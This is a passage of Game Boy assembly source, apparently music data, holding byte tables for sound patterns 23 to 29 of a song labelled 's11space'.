$01, $1D DB $32, $0B, $01, $1F, $89, $0B, $01, $20, $89, $01, $1A, $32, $0B, $01, $21, $89, $0B, $01, $22, $89, $01, $16, $32, $0B, $01, $23, $89, $00, $02, $07 SECTION "Ms11spaceP23", ROMX PATTERN_s11space23: DB $0A DB $03, $01, $1C, $04, $11, $55, $01, $01, $23, $89, $11, $77, $02, $01, $28, $32, $02, $2B, $0C, $12, $40, $11, $77, $01, $01, $24, $89, $01, $10, $32, $05, $02 DB $0C, $03, $A0, $01, $04, $20, $05, $00, $11, $77, $01, $01, $28, $89, $11, $77, $02, $01, $28, $6E, $0B, $11, $55, $01, $01, $23, $85, $0B, $11, $55, $01, $01 DB $2B, $89, $03, $23, $02, $0B, $0B, $11, $77, $01, $01, $24, $85, $0B, $03, $A0, $01, $04, $18, $11, $77, $01, $01, $28, $89, $03, $73, $02, $0B, $0B, $11, $77 DB $01, $01, $28, $85, $0B, $01, $10, $14, $11, $77, $01, $01, $24, $89, $0B, $11, $55, $01, $01, $2B, $85, $0B, $01, $10, $1C, $11, $55, $01, $01, $23, $89, $02 DB $2B, $0B, $11, $77, $01, $01, $28, $85, $0B, $03, $90, $01, $10, $18, $11, $77, $01, $01, $24, $89, $0B, $11, $77, $01, $01, $24, $85, $0B, $01, $1C, $04, $11 DB $55, $01, $01, $23, $89, $01, $28, $2E, $02, $B7, $0B, $01, $04, $18, $11, $55, $01, $01, $23, $85, $0B, $12, $40, $11, $77, $01, $01, $24, $89, $02, $2B, $0B DB $11, $77, $01, $01, $24, $85, $0B, $03, $A0, $01, $10, $20, $05, $00, $11, $77, $01, $01, $28, $89, $02, $67, $0B, $11, $55, $01, $01, $23, $85, $0B, $11, $55 DB $01, $01, $2B, $89, $03, $23, $02, $0B, $0B, $11, $77, $01, $01, $24, $85, $0B, $03, $A0, $01, $04, $18, $11, $55, $01, $01, $2F, $89, $01, $28, $6E, $03, $73 DB $02, $0B, $0B, $11, $77, $01, $01, $28, $85, $02, $02, $0B, $01, $10, $14, $11, $55, $01, $01, $2B, $89, $01, $28, $36, $0B, $11, $55, $01, $01, $2B, $85, $02 DB $02, $0B, $01, $10, $1C, $11, $77, $01, $01, $28, $89, $01, $28, $3A, $02, $2B, $0B, $11, $55, $01, $01, $2F, $85, $0B, $03, $90, $01, $10, $18, $11, $77, $01 DB $01, $24, $89, $02, $02, $0B, $11, $55, $01, $01, $2B, $85, $0B, $01, $1C, $04, $11, $55, $01, $01, $23, $89, $11, $77, $02, $01, $28, $32, $02, $2B, $0B, $11 DB $77, $01, $01, $28, $85, $0B, $12, $40, $11, $77, $01, $01, $24, $89, $01, $10, $32, $05, $02, $02, $2B, $0B, $11, $77, $01, $01, $24, $85, $0B, $03, $A0, $01 DB $04, $20, $05, $00, $11, $77, $01, $01, $28, $89, $11, $77, $02, $01, $28, $6E, $02, $67, $0B, $11, $55, $01, $01, $23, $85, $0B, $11, $55, $01, $01, $2B, $89 DB $03, $23, $02, $0B, $0B, $11, $77, $01, $01, $24, $85, $0B, $03, $A0, $01, $04, $18, $11, $77, $01, $01, $28, $89, $03, $73, $02, $0B, $0B, $11, $77, $01, $01 DB $28, $85, $0B, $01, $10, $14, $11, $77, $01, $01, $24, $89, $0B, $11, $55, $01, $01, $2B, $85, $0B, $01, $10, $1C, $11, $55, $01, $01, $23, $89, $01, $34, $32 DB $02, $2B, $0B, $11, $77, $01, $01, $28, $85, $0B, $03, $90, $01, $10, $18, $11, $77, $01, $01, $24, $89, $01, $28, $6E, $0B, $11, $77, $01, $01, $24, $85, $0B DB $01, $1C, $04, $11, $55, $01, $01, $23, $89, $01, $28, $2E, $02, $B7, $0B, $01, $04, $18, $11, $55, $01, $01, $23, $85, $0B, $12, $40, $11, $77, $01, $01, $24 DB $89, $02, $2B, $0B, $11, $77, $01, $01, $24, $85, $0B, $03, $A0, $01, $10, $20, $05, $00, $11, $77, $01, $01, $28, $89, $01, $34, $2E, $02, $67, $0B, $11, $55 DB $01, $01, $23, $85, $0B, $11, $55, $01, $01, $2B, $89, $01, $28, $6E, $03, $23, $02, $0B, $0B, $11, $77, $01, $01, $24, $85, $0B, $03, $A0, $01, $04, $18, $11 DB $55, $01, $01, $2F, $89, $01, $28, $6E, $03, $73, $02, $0B, $0B, $11, $77, $01, $01, $28, $85, $02, $02, $0B, $01, $10, $14, $11, $55, $01, $01, $2B, $89, $01 DB $28, $36, $02, $2B, $0B, $11, $55, $01, $01, $2B, $85, $02, $02, $0B, $01, $10, $1C, $11, $77, $01, $01, $28, $89, $01, $28, $3A, $02, $2B, $0B, $11, $55, $01 DB $01, $2F, $85, $0B, $03, $90, $01, $10, $18, $11, $77, $01, $01, $24, $89, $02, $02, $03, $23, $02, $0B, $0B, $11, $55, $01, $01, $2B, $85, $00, $02, $07 SECTION "Ms11spaceP24", ROMX PATTERN_s11space24: DB $0A DB $03, $01, $1C, $04, $11, $55, $01, $01, $23, $89, $11, $88, $02, $01, $28, $32, $02, $2B, $0C, $12, $40, $11, $77, $01, $01, $24, $89, $01, $10, $32, $05, $02 DB $0C, $03, $A0, $01, $04, $20, $05, $00, $11, $77, $01, $01, $28, $89, $11, $88, $02, $01, $28, $6E, $0B, $11, $55, $01, $01, $23, $85, $0B, $11, $55, $01, $01 DB $2B, $89, $03, $23, $02, $0B, $0B, $11, $77, $01, $01, $24, $85, $0B, $03, $A0, $01, $04, $18, $11, $77, $01, $01, $28, $89, $03, $73, $02, $0B, $0B, $11, $77 DB $01, $01, $28, $85, $0B, $01, $10, $14, $11, $77, $01, $01, $24, $89, $0B, $11, $55, $01, $01, $2B, $85, $0B, $01, $10, $1C, $11, $55, $01, $01, $23, $89, $02 DB $2B, $0B, $11, $77, $01, $01, $28, $85, $0B, $03, $90, $01, $10, $18, $11, $77, $01, $01, $24, $89, $0B, $11, $77, $01, $01, $24, $85, $0B, $01, $1C, $04, $11 DB $55, $01, $01, $23, $89, $01, $28, $2E, $02, $B7, $0B, $01, $04, $18, $11, $55, $01, $01, $23, $85, $0B, $12, $40, $11, $77, $01, $01, $24, $89, $02, $2B, $0B DB $11, $77, $01, $01, $24, $85, $0B, $03, $A0, $01, $10, $20, $05, $00, $11, $77, $01, $01, $28, $89, $02, $67, $0B, $11, $55, $01, $01, $23, $85, $0B, $11, $55 DB $01, $01, $2B, $89, $03, $23, $02, $0B, $0B, $11, $77, $01, $01, $24, $85, $0B, $03, $A0, $01, $04, $18, $11, $55, $01, $01, $2F, $89, $01, $28, $6E, $03, $73 DB $02, $0B, $0B, $11, $77, $01, $01, $28, $85, $02, $02, $0B, $01, $10, $14, $11, $55, $01, $01, $2B, $89, $01, $28, $36, $0B, $11, $55, $01, $01, $2B, $85, $02 DB $02, $0B, $01, $10, $1C, $11, $77, $01, $01, $28, $89, $01, $28, $3A, $02, $2B, $0B, $11, $55, $01, $01, $2F, $85, $0B, $03, $90, $01, $10, $18, $11, $77, $01 DB $01, $24, $89, $02, $02, $0B, $11, $55, $01, $01, $2B, $85, $0B, $01, $1C, $04, $11, $55, $01, $01, $23, $89, $11, $88, $02, $01, $28, $32, $02, $2B, $0B, $11 DB $77, $01, $01, $28, $85, $0B, $12, $40, $11, $77, $01, $01, $24, $89, $01, $10, $32, $05, $02, $02, $2B, $0B, $11, $77, $01, $01, $24, $85, $0B, $03, $A0, $01 DB $04, $20, $05, $00, $11, $77, $01, $01, $28, $89, $11, $88, $02, $01, $28, $6E, $02, $67, $0B, $11, $55, $01, $01, $23, $85, $0B, $11, $55, $01, $01, $2B, $89 DB $03, $23, $02, $0B, $0B, $11, $77, $01, $01, $24, $85, $0B, $03, $A0, $01, $04, $18, $11, $77, $01, $01, $28, $89, $03, $73, $02, $0B, $0B, $11, $77, $01, $01 DB $28, $85, $0B, $01, $10, $14, $11, $77, $01, $01, $24, $89, $0B, $11, $55, $01, $01, $2B, $85, $0B, $01, $10, $1C, $11, $55, $01, $01, $23, $89, $01, $34, $32 DB $02, $2B, $0B, $11, $77, $01, $01, $28, $85, $0B, $03, $90, $01, $10, $18, $11, $77, $01, $01, $24, $89, $01, $28, $6E, $0B, $11, $77, $01, $01, $24, $85, $0B DB $01, $1C, $04, $11, $55, $01, $01, $23, $89, $01, $28, $2E, $02, $B7, $0B, $01, $04, $18, $11, $55, $01, $01, $23, $85, $0B, $12, $40, $11, $77, $01, $01, $24 DB $89, $02, $2B, $0B, $11, $77, $01, $01, $24, $85, $0B, $03, $A0, $01, $10, $20, $05, $00, $11, $77, $01, $01, $28, $89, $01, $34, $2E, $02, $67, $0B, $11, $55 DB $01, $01, $23, $85, $0B, $11, $55, $01, $01, $2B, $89, $01, $28, $6E, $03, $23, $02, $0B, $0B, $11, $77, $01, $01, $24, $85, $0B, $03, $A0, $01, $04, $18, $11 DB $55, $01, $01, $2F, $89, $01, $28, $6E, $03, $73, $02, $0B, $0B, $11, $77, $01, $01, $28, $85, $02, $02, $0B, $01, $10, $14, $11, $55, $01, $01, $2B, $89, $01 DB $28, $36, $02, $2B, $0B, $11, $55, $01, $01, $2B, $85, $02, $02, $0B, $01, $10, $1C, $11, $77, $01, $01, $28, $89, $01, $28, $3A, $02, $2B, $0B, $11, $55, $01 DB $01, $2F, $85, $0B, $03, $90, $01, $10, $18, $11, $77, $01, $01, $24, $89, $02, $02, $03, $23, $02, $0B, $0B, $11, $55, $01, $01, $2B, $85, $00, $02, $07 SECTION "Ms11spaceP25", ROMX PATTERN_s11space25: DB $0A DB $03, $03, $F0, $01, $24, $04, $01, $22, $89, $05, $01, $01, $2B, $32, $05, $02, $02, $B7, $0B, $01, $22, $85, $0B, $01, $24, $89, $02, $2B, $0B, $01, $1F, $85 DB $0B, $03, $A0, $01, $00, $20, $01, $24, $89, $0B, $01, $22, $85, $0B, $01, $1F, $89, $03, $23, $02, $0B, $0B, $01, $24, $85, $0B, $03, $90, $01, $00, $18, $05 DB $00, $01, $27, $89, $03, $83, $02, $0B, $0B, $01, $24, $85, $0B, $01, $0C, $14, $01, $26, $89, $0B, $01, $1F, $85, $0B, $01, $0C, $1C, $01, $22, $89, $10, $26 DB $02, $2B, $0B, $01, $27, $85, $0B, $03, $80, $01, $0E, $18, $01, $1F, $89, $0B, $01, $26, $85, $0B, $03, $F0, $01, $24, $04, $01, $22, $89, $01, $2B, $2E, $05 DB $02, $02, $B7, $0B, $01, $22, $85, $0B, $01, $24, $89, $02, $2B, $0B, $01, $1F, $85, $0B, $03, $A0, $01, $0C, $20, $01, $24, $89, $02, $67, $0B, $01, $22, $85 DB $0B, $01, $1F, $89, $03, $23, $02, $0B, $0B, $01, $24, $85, $0B, $03, $90, $01, $00, $18, $05, $00, $01, $27, $89, $11, $CC, $02, $01, $18, $6E, $03, $83, $02 DB $0B, $0B, $01, $24, $85, $01, $1B, $6E, $0B, $01, $0C, $14, $01, $26, $89, $01, $1F, $6E, $0B, $01, $1F, $85, $01, $20, $6E, $0B, $01, $0C, $1C, $01, $22, $89 DB $01, $24, $6E, $02, $2B, $0B, $01, $27, $85, $01, $27, $6E, $0B, $03, $80, $01, $0E, $18, $01, $1F, $89, $01, $2B, $6E, $0B, $01, $26, $85, $01, $2C, $6E, $0B DB $03, $F0, $01, $24, $04, $01, $22, $89, $11, $CF, $02, $01, $30, $6E, $02, $B7, $0B, $01, $22, $85, $11, $BF, $02, $0B, $01, $24, $89, $11, $AF, $02, $02, $2B DB $0B, $01, $1F, $85, $11, $9F, $02, $0B, $03, $A0, $01, $00, $20, $01, $24, $89, $11, $8F, $02, $0B, $01, $22, $85, $11, $7F, $02, $0B, $01, $1F, $89, $11, $6F DB $02, $03, $23, $02, $0B, $0B, $01, $24, $85, $11, $5F, $02, $0B, $03, $90, $01, $00, $18, $05, $00, $01, $27, $89, $11, $4F, $02, $03, $83, $02, $0B, $0B, $01 DB $24, $85, $11, $3F, $02, $0B, $01, $0C, $14, $01, $26, $89, $11, $2F, $02, $0B, $01, $1F, $85, $11, $1F, $02, $0B, $01, $0C, $1C, $01, $22, $89, $11, $0F, $02 DB $02, $2B, $0B, $01, $27, $85, $0B, $03, $80, $01, $0E, $18, $11, $CC, $01, $01, $1F, $89, $03, $33, $02, $0B, $0B, $01, $21, $89, $03, $63, $02, $0B, $0B, $01 DB $16, $04, $01, $22, $89, $11, $47, $02, $01, $22, $2E, $02, $B7, $0B, $01, $21, $85, $0B, $12, $00, $03, $20, $01, $0A, $C0, $01, $20, $89, $02, $A7, $0B, $01 DB $1F, $85, $0B, $03, $B0, $01, $0A, $C0, $01, $1E, $89, $01, $2E, $2E, $0B, $01, $1D, $89, $0B, $03, $80, $01, $0A, $C0, $01, $1C, $89, $01, $22, $6E, $0B, $01 DB $1B, $89, $0B, $03, $50, $01, $0A, $C0, $01, $1A, $89, $01, $22, $6E, $0B, $01, $19, $89, $02, $02, $0B, $03, $B0, $01, $0A, $C0, $01, $18, $89, $01, $22, $36 DB $0B, $01, $17, $89, $02, $02, $0B, $03, $80, $01, $0A, $C0, $01, $16, $89, $01, $22, $3A, $0B, $01, $15, $89, $0B, $03, $40, $01, $0A, $C0, $01, $14, $89, $02 DB $02, $0B, $01, $13, $89, $00, $02, $07 SECTION "Ms11spaceP26", ROMX PATTERN_s11space26: DB $0A DB $03, $03, $A0, $01, $21, $04, $11, $44, $01, $01, $21, $89, $11, $59, $02, $01, $28, $32, $02, $B7, $0C, $12, $40, $11, $33, $01, $01, $25, $89, $01, $10, $32 DB $05, $02, $02, $2B, $0C, $03, $90, $01, $09, $20, $05, $00, $11, $55, $01, $01, $28, $89, $11, $59, $02, $01, $28, $6E, $0B, $11, $44, $01, $01, $21, $85, $0B DB $11, $44, $01, $01, $2D, $89, $03, $23, $02, $0B, $0B, $11, $33, $01, $01, $25, $85, $0B, $03, $A0, $01, $09, $18, $11, $55, $01, $01, $28, $89, $03, $83, $02 DB $0B, $0B, $11, $55, $01, $01, $28, $85, $0B, $01, $15, $14, $11, $33, $01, $01, $25, $89, $0B, $11, $44, $01, $01, $2D, $85, $0B, $01, $15, $1C, $11, $44, $01 DB $01, $21, $89, $01, $34, $32, $02, $2B, $0B, $11, $55, $01, $01, $28, $85, $0B, $03, $90, $01, $15, $18, $11, $33, $01, $01, $25, $89, $01, $28, $6E, $0B, $11 DB $33, $01, $01, $25, $85, $0B, $03, $A0, $01, $21, $04, $11, $44, $01, $01, $21, $89, $01, $28, $2E, $02, $B7, $0B, $11, $44, $01, $01, $21, $85, $0B, $12, $40 DB $11, $33, $01, $01, $25, $89, $02, $2B, $0B, $11, $33, $01, $01, $25, $85, $0B, $03, $90, $01, $15, $20, $05, $00, $11, $55, $01, $01, $28, $89, $01, $34, $2E DB $02, $67, $0B, $11, $44, $01, $01, $21, $85, $0B, $11, $44, $01, $01, $2D, $89, $01, $28, $6E, $03, $23, $02, $0B, $0B, $11, $33, $01, $01, $25, $85, $0B, $03 DB $A0, $01, $09, $18, $11, $55, $01, $01, $28, $89, $01, $28, $32, $03, $83, $02, $0B, $0B, $11, $55, $01, $01, $28, $85, $02, $02, $0B, $01, $15, $14, $11, $33 DB $01, $01, $25, $89, $01, $28, $36, $0B, $11, $44, $01, $01, $2D, $85, $02, $02, $0B, $01, $15, $1C, $11, $44, $01, $01, $21, $89, $01, $28, $3A, $02, $2B, $0B DB $11, $55, $01, $01, $28, $85, $0B, $03, $90, $01, $15, $18, $11, $33, $01, $01, $25, $89, $02, $02, $0B, $11, $33, $01, $01, $25, $85, $0B, $03, $A0, $01, $21 DB $04, $11, $44, $01, $01, $21, $89, $11, $59, $02, $01, $28, $32, $02, $B7, $0C, $12, $40, $11, $33, $01, $01, $25, $89, $01, $10, $32, $05, $02, $02, $2B, $0C DB $03, $90, $01, $09, $20, $05, $00, $11, $55, $01, $01, $28, $89, $11, $59, $02, $01, $28, $6E, $0B, $11, $44, $01, $01, $21, $85, $0B, $11, $44, $01, $01, $2D DB $89, $03, $23, $02, $0B, $0B, $11, $33, $01, $01, $25, $85, $0B, $03, $A0, $01, $09, $18, $11, $55, $01, $01, $28, $89, $03, $83, $02, $0B, $0B, $11, $55, $01 DB $01, $28, $85, $0B, $01, $15, $14, $11, $33, $01, $01, $25, $89, $0B, $11, $44, $01, $01, $2D, $85, $0B, $01, $15, $1C, $11, $44, $01, $01, $21, $89, $01, $34 DB $32, $02, $2B, $0B, $11, $55, $01, $01, $28, $85, $0B, $03, $90, $01, $15, $18, $11, $33, $01, $01, $25, $89, $01, $28, $6E, $0B, $11, $33, $01, $01, $25, $85 DB $0B, $03, $A0, $01, $21, $04, $11, $44, $01, $01, $21, $89, $01, $28, $2E, $02, $B7, $0B, $11, $44, $01, $01, $21, $85, $0B, $12, $40, $11, $33, $01, $01, $25 DB $89, $02, $2B, $0B, $11, $33, $01, $01, $25, $85, $0B, $03, $90, $01, $15, $20, $05, $00, $11, $55, $01, $01, $28, $89, $01, $34, $2E, $02, $67, $0B, $11, $44 DB $01, $01, $21, $85, $0B, $11, $44, $01, $01, $2D, $89, $01, $28, $6E, $03, $23, $02, $0B, $0B, $11, $33, $01, $01, $25, $85, $0B, $03, $A0, $01, $09, $18, $11 DB $55, $01, $01, $28, $89, $01, $28, $32, $03, $83, $02, $0B, $0B, $11, $55, $01, $01, $28, $85, $02, $02, $0B, $01, $15, $14, $11, $33, $01, $01, $25, $89, $01 DB $28, $36, $0B, $11, $44, $01, $01, $2D, $85, $02, $02, $0B, $01, $15, $1C, $11, $44, $01, $01, $21, $89, $01, $28, $3A, $02, $2B, $0B, $11, $55, $01, $01, $28 DB $85, $0B, $03, $90, $01, $15, $18, $11, $33, $01, $01, $25, $89, $02, $02, $0B, $11, $33, $01, $01, $25, $85, $00, $02, $07 SECTION "Ms11spaceP27", ROMX PATTERN_s11space27: DB $0A DB $03, $01, $1C, $04, $11, $47, $01, $03, $91, $01, $28, $71, $11, $CC, $02, $01, $2F, $32, $02, $B7, $0C, $12, $40, $01, $04, $18, $02, $2B, $0C, $03, $A0, $01 DB $04, $20, $05, $00, $11, $44, $01, $01, $28, $89, $11, $47, $02, $01, $34, $6E, $0B, $11, $47, $01, $03, $31, $01, $28, $71, $0B, $11, $33, $01, $01, $2C, $89 DB $03, $23, $02, $0B, $0B, $11, $55, $01, $01, $23, $85, $0B, $03, $A0, $01, $04, $18, $11, $44, $01, $01, $28, $89, $11, $47, $02, $01, $34, $2E, $03, $83, $02 DB $0B, $0B, $11, $44, $01, $01, $28, $85, $0B, $01, $10, $14, $11, $55, $01, $01, $23, $89, $0B, $11, $33, $01, $01, $2C, $85, $0B, $01, $10, $1C, $11, $33, $01 DB $01, $20, $89, $02, $2B, $0B, $11, $44, $01, $01, $28, $85, $0B, $03, $90, $01, $10, $18, $11, $55, $01, $01, $23, $89, $0B, $11, $55, $01, $01, $23, $85, $0B DB $01, $1C, $04, $11, $33, $01, $01, $20, $89, $02, $B7, $0B, $01, $04, $18, $11, $33, $01, $01, $20, $85, $0B, $12, $40, $11, $55, $01, $01, $23, $89, $02, $2B DB $0B, $11, $55, $01, $01, $23, $85, $0B, $03, $A0, $01, $10, $20, $05, $00, $11, $44, $01, $01, $28, $89, $02, $67, $0B, $11, $33, $01, $01, $20, $85, $0B, $11 DB $33, $01, $01, $2C, $89, $03, $23, $02, $0B, $0B, $11, $55, $01, $01, $23, $85, $0B, $03, $A0, $01, $04, $18, $11, $44, $01, $01, $28, $89, $03, $83, $02, $0B DB $0B, $11, $44, $01, $01, $28, $85, $0B, $01, $10, $14, $11, $55, $01, $01, $23, $89, $0B, $11, $33, $01, $01, $2C, $85, $0B, $01, $10, $1C, $11, $33, $01, $01 DB $20, $89, $02, $2B, $0B, $11, $44, $01, $01, $28, $85, $0B, $03, $90, $01, $10, $18, $11, $55, $01, $01, $23, $89, $0B, $11, $55, $01, $01, $23, $85, $0B, $01 DB $1C, $04, $11, $33, $01, $01, $20, $89, $11, $CC, $02, $01, $2E, $32, $02, $B7, $0B, $11, $33, $01, $01, $20, $85, $0B, $12, $40, $11, $55, $01, $01, $23, $89 DB $02, $2B, $0B, $11, $55, $01, $01, $23, $85, $0B, $03, $A0, $01, $04, $20, $05, $00, $11, $44, $01, $01, $28, $89, $01, $2E, $2E, $0B, $11, $33, $01, $01, $20 DB $85, $0B, $11, $33, $01, $01, $2C, $89, $03, $23, $02, $0B, $0B, $11, $55, $01, $01, $23, $85, $0B, $03, $A0, $01, $04, $18, $11, $44, $01, $01, $28, $89, $03 DB $83, $02, $0B, $0B, $11, $44, $01, $01, $28, $85, $0B, $01, $10, $14, $11, $55, $01, $01, $23, $89, $0B, $11, $33, $01, $01, $2C, $85, $0B, $01, $10, $1C, $11 DB $33, $01, $01, $20, $89, $02, $2B, $0B, $11, $44, $01, $01, $28, $85, $0B, $03, $90, $01, $10, $18, $11, $55, $01, $01, $23, $89, $0B, $11, $55, $01, $01, $23 DB $85, $0B, $01, $1C, $04, $11, $33, $01, $01, $20, $89, $11, $CC, $02, $01, $2C, $32, $02, $B7, $0B, $01, $04, $18, $11, $33, $01, $01, $20, $85, $0B, $12, $40 DB $11, $55, $01, $01, $23, $89, $02, $2B, $0B, $11, $55, $01, $01, $23, $85, $0B, $03, $A0, $01, $10, $20, $05, $00, $11, $44, $01, $01, $28, $89, $01, $2C, $2E DB $02, $67, $0B, $11, $33, $01, $01, $20, $85, $0B, $11, $33, $01, $01, $2C, $89, $03, $23, $02, $0B, $0B, $11, $55, $01, $01, $23, $85, $0B, $03, $A0, $01, $04 DB $18, $11, $44, $01, $01, $28, $89, $03, $83, $02, $0B, $0B, $11, $44, $01, $01, $28, $85, $0B, $01, $10, $14, $11, $55, $01, $01, $23, $89, $0B, $11, $33, $01 DB $01, $2C, $85, $0B, $01, $10, $1C, $11, $33, $01, $01, $20, $89, $02, $2B, $0B, $11, $44, $01, $01, $28, $85, $0B, $03, $90, $01, $10, $18, $11, $55, $01, $01 DB $23, $89, $0B, $11, $55, $01, $01, $23, $85, $00, $02, $07 SECTION "Ms11spaceP28", ROMX PATTERN_s11space28: DB $0A DB $03, $01, $1C, $04, $11, $55, $01, $01, $23, $89, $11, $77, $02, $01, $28, $32, $02, $2B, $0C, $12, $40, $11, $77, $01, $01, $24, $89, $01, $10, $32, $05, $02 DB $0C, $03, $A0, $01, $04, $20, $05, $00, $11, $77, $01, $01, $28, $89, $11, $77, $02, $01, $28, $6E, $0B, $11, $55, $01, $01, $23, $85, $0B, $11, $55, $01, $01 DB $2B, $89, $03, $23, $02, $0B, $0B, $11, $77, $01, $01, $24, $85, $0B, $03, $A0, $01, $04, $18, $11, $77, $01, $01, $28, $89, $03, $73, $02, $0B, $0B, $11, $77 DB $01, $01, $28, $85, $0B, $01, $10, $14, $11, $77, $01, $01, $24, $89, $0B, $11, $55, $01, $01, $2B, $85, $0B, $01, $10, $1C, $11, $55, $01, $01, $23, $89, $02 DB $2B, $0B, $11, $77, $01, $01, $28, $85, $0B, $03, $90, $01, $10, $18, $11, $77, $01, $01, $24, $89, $0B, $11, $77, $01, $01, $24, $85, $0B, $01, $1C, $04, $11 DB $55, $01, $01, $23, $89, $01, $28, $2E, $02, $B7, $0B, $01, $04, $18, $11, $55, $01, $01, $23, $85, $0B, $12, $40, $11, $77, $01, $01, $24, $89, $02, $2B, $0B DB $11, $77, $01, $01, $24, $85, $0B, $03, $A0, $01, $10, $20, $05, $00, $11, $77, $01, $01, $28, $89, $02, $67, $0B, $11, $55, $01, $01, $23, $85, $0B, $11, $55 DB $01, $01, $2B, $89, $03, $23, $02, $0B, $0B, $11, $77, $01, $01, $24, $85, $0B, $03, $A0, $01, $04, $18, $11, $55, $01, $01, $2F, $89, $01, $28, $6E, $03, $73 DB $02, $0B, $0B, $11, $77, $01, $01, $28, $85, $02, $02, $0B, $01, $10, $14, $11, $55, $01, $01, $2B, $89, $01, $28, $36, $0B, $11, $55, $01, $01, $2B, $85, $02 DB $02, $0B, $01, $10, $1C, $11, $77, $01, $01, $28, $89, $01, $28, $3A, $02, $2B, $0B, $11, $55, $01, $01, $2F, $85, $0B, $03, $90, $01, $10, $18, $11, $77, $01 DB $01, $24, $89, $02, $02, $0B, $11, $55, $01, $01, $2B, $85, $0B, $01, $1C, $04, $11, $55, $01, $01, $23, $89, $11, $77, $02, $01, $28, $32, $02, $2B, $0B, $11 DB $77, $01, $01, $28, $85, $0B, $12, $40, $11, $77, $01, $01, $24, $89, $01, $10, $32, $05, $02, $02, $2B, $0B, $11, $77, $01, $01, $24, $85, $0B, $03, $A0, $01 DB $04, $20, $05, $00, $11, $77, $01, $01, $28, $89, $11, $77, $02, $01, $28, $6E, $02, $67, $0B, $11, $55, $01, $01, $23, $85, $0B, $11, $55, $01, $01, $2B, $89 DB $03, $23, $02, $0B, $0B, $11, $77, $01, $01, $24, $85, $0B, $03, $A0, $01, $04, $18, $11, $77, $01, $01, $28, $89, $01, $28, $32, $03, $73, $02, $0B, $0B, $11 DB $77, $01, $01, $28, $85, $02, $02, $0B, $01, $10, $14, $11, $77, $01, $01, $24, $89, $01, $28, $36, $0B, $11, $55, $01, $01, $2B, $85, $02, $02, $0B, $01, $10 DB $1C, $11, $55, $01, $01, $23, $89, $01, $28, $3A, $02, $2B, $0B, $11, $77, $01, $01, $28, $85, $0B, $03, $90, $01, $10, $18, $11, $77, $01, $01, $24, $89, $02 DB $02, $0B, $11, $77, $01, $01, $24, $85, $0B, $01, $1C, $04, $11, $55, $01, $01, $23, $89, $01, $28, $32, $02, $B7, $0B, $01, $04, $18, $11, $55, $01, $01, $23 DB $85, $0B, $12, $40, $11, $77, $01, $01, $24, $89, $02, $2B, $0B, $11, $77, $01, $01, $24, $85, $0B, $03, $A0, $01, $10, $20, $05, $00, $11, $77, $01, $01, $28 DB $89, $01, $28, $6E, $02, $67, $0B, $11, $55, $01, $01, $23, $85, $0B, $11, $55, $01, $01, $2B, $89, $03, $23, $02, $0B, $0B, $11, $77, $01, $01, $24, $85, $0B DB $03, $A0, $01, $04, $18, $11, $55, $01, $01, $2F, $89, $01, $28, $32, $03, $73, $02, $0B, $0B, $11, $77, $01, $01, $28, $85, $02, $02, $0B, $01, $10, $14, $11 DB $55, $01, $01, $2B, $89, $01, $28, $36, $02, $2B, $0B, $11, $55, $01, $01, $2B, $85, $02, $02, $0B, $01, $10, $1C, $11, $77, $01, $01, $28, $89, $01, $28, $3A DB $02, $2B, $0B, $11, $55, $01, $01, $2F, $85, $0B, $03, $90, $01, $10, $18, $11, $77, $01, $01, $24, $89, $02, $02, $03, $23, $02, $0B, $0B, $11, $55, $01, $01 DB $2B, $85, $00, $02, $07 SECTION "Ms11spaceP29", ROMX PATTERN_s11space29: DB $0A DB $03, $01, $1C, $04, $11, $55, $01, $01, $23, $89, $11, $88, $02, $01, $28, $32, $02, $2B, $0C, $12, $40, $11, $77, $01, $01, $24, $89, $01, $10, $32, $05, $02 DB $0C, $03, $A0, $01, $04, $20, $05, $00, $11, $77, $01, $01, $28, $89, $11, $88, $02, $01, $28, $6E, $0B, $11, $55, $01, $01, $23, $85, $0B, $11, $55, $01, $01 DB $2B, $89, $03, $23, $02, $0B, $0B, $11, $77, $01, $01, $24, $85, $0B, $03, $A0, $01, $04, $18, $11, $77, $01, $01, $28, $89, $03, $73, $02, $0B, $0B, $11, $77 DB $01, $01, $28, $85, $0B, $01, $10, $14, $11, $77, $01, $01, $24, $89, $0B, $11, $55, $01, $01, $2B, $85, $0B, $01, $10, $1C, $11, $55, $01, $01, $23, $89, $02 DB $2B, $0B, $11, $77, $01, $01, $28, $85, $0B, $03, $90, $01, $10, $18, $11, $77, $01, $01, $24, $89, $0B, $11, $77, $01, $01, $24, $85, $0B, $01, $1C, $04, $11 DB $55, $01, $01, $23, $89, $01, $28, $2E, $02, $B7, $0B, $01, $04, $18, $11, $55, $01, $01, $23, $85, $0B, $12, $40, $11, $77, $01, $01, $24, $89, $02, $2B, $0B DB $11, $77, $01, $01, $24, $85, $0B, $03, $A0, $01, $10, $20, $05, $00, $11, $77, $01, $01, $28, $89, $02, $67, $0B, $11, $55, $01, $01, $23, $85, $0B, $11, $55 DB $01, $01, $2B, $89, $03, $23, $02, $0B, $0B, $11, $77, $01, $01, $24, $85, $0B, $03, $A0, $01, $04, $18, $11, $55, $01, $01, $2F, $89, $01, $28, $6E, $03, $73 DB $02, $0B, $0B, $11, $77, $01, $01, $28, $85, $02, $02, $0B, $01, $10, $14, $11, $55, $01, $01, $2B, $89, $01, $28, $36, $0B, $11, $55, $01, $01, $2B, $85, $02 DB $02, $0B, $01, $10, $1C, $11, $77, $01, $01, $28, $89, $01, $28, $3A, $02, $2B, $0B, $11, $55, $01, $01, $2F, $85, $0B, $03, $90, $01, $10, $18, $11, $77, $01 DB $01, $24, $89, $02, $02, $0B, $11, $55, $01, $01, $2B, $85, $0B, $01, $1C, $04, $11, $55, $01, $01, $23, $89, $11, $88, $02, $01, $28, $32, $02, $2B, $0B, $11 DB $77, $01, $01, $28, $85, $0B, $12, $40, $11, $77, $01, $01, $24, $89, $01, $10, $32, $05, $02, $02, $2B, $0B, $11, $77, $01, $01, $24, $85, $0B, $03, $A0, $01 DB $04, $20, $05, $00, $11, $77, $01, $01, $28, $89, $11, $88, $02, $01, $28, $6E, $02, $67, $0B, $11, $55, $01, $01, $23, $85, $0B, $11, $55, $01, $01, $2B, $89 DB $03, $23, $02, $0B, $0B, $11, $77, $01, $01, $24, $85, $0B, $03, $A0, $01, $04, $18, $11, $77, $01, $01, $28, $89, $01, $28, $32, $03, $73, $02, $0B, $0B, $11 DB $77, $01, $01, $28, $85, $02, $02, $0B, $01, $10, $14, $11, $77, $01, $01, $24, $89, $01, $28, $36, $0B, $11, $55, $01, $01, $2B, $85, $02, $02, $0B, $01, $10 DB $1C, $11, $55, $01, $01, $23, $89, $01, $28, $3A, $02, $2B, 